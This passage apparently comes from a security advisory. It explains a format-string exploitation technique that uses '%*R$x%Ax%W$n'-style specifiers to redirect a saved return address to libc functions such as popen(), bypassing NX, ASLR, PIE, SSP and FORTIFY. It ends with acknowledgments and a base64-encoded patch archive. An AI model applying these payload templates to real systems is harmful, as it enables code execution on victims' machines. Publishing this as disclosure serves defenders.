  the pointer to __libc_start_main();

- we "add" a distribution-specific constant to this LSW, to make it
  point to a useful libc gadget -- for example, popen() or wordexp();

- we "write" this modified LSW to the LSW of a saved RIP on the stack:
  we use the pointer (to the saved RIP) created on the stack by the
  first format-string.

To implement the "read-add-write" primitive:

- we "read" the LSW of a pointer (we load it into vfprintf's internal
  character counter) through a variable-width specifier such as "%*R$x",
  where R is the position (among the format-string arguments on the
  stack) of the to-be-read pointer;

- we "add" a constant A to this LSW through a constant-width specifier
  such as "%Ax";

- we "write" this modified LSW to the LSW of another pointer through a
  specifier such as "%W$n", where W is the position (among the format-
  string arguments on the stack) of a pointer to the to-be-overwritten
  pointer (for example, in our first format-string we overwrite the LSW
  of the argv[0] pointer through the argv pointer, and in our second
  format-string we overwrite the LSW of a saved RIP through the
  overwritten argv[0] pointer); in summary:

  . if we want to "add" a constant to the LSW that we "read", we use a
    simple format-string such as "%*R$x%Ax%W$n", where A is equal to the
    constant that we want to add;

  . if we want to "subtract" a constant from the LSW that we "read", we
    use a format-string such as "%*R$x%W$n%Ax%W$hn", where A is equal to
    65536 minus the constant that we want to subtract (the smaller the
    constant, the higher the probability of success).

This generic technique defeats NX, ASLR, PIE, SSP, and FORTIFY, but it
suffers from three major drawbacks:

- it requires two different format-strings, because it must reset
  vfprintf's internal character counter between the two "read-add-write"
  primitives;

- its probability of success is 1/4 (not a one-shot, but not a
  brute-force either), because the probability of success of each
  "read-add-write" primitive is 1/2 (the randomized LSW that is "read"
  as an "int width" must be positive), and the stack is randomized
  independently of the libc;

- it outputs 2*1GB on average (2*2GB at most): this may be acceptable if
  the target utility is executed by a script or daemon, but not if it is
  executed manually by an administrator (terminal escape sequences may
  be used to overcome this drawback, but we did not explore this
  possibility yet).

It is also possible to implement distribution-specific variants of this
generic technique: for example, we developed a Debian-specific version
of our "w" exploit that requires only one format-string, has an 11/12
probability of success (nearly one-shot), and outputs only a few
kilobytes. This is left as an exercise for the interested reader.


========================================================================
Acknowledgments
========================================================================

We thank Craig Small and the members of linux-distros@openwall and
security@kernel.


========================================================================
Patches.tar.gz.b64
========================================================================

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
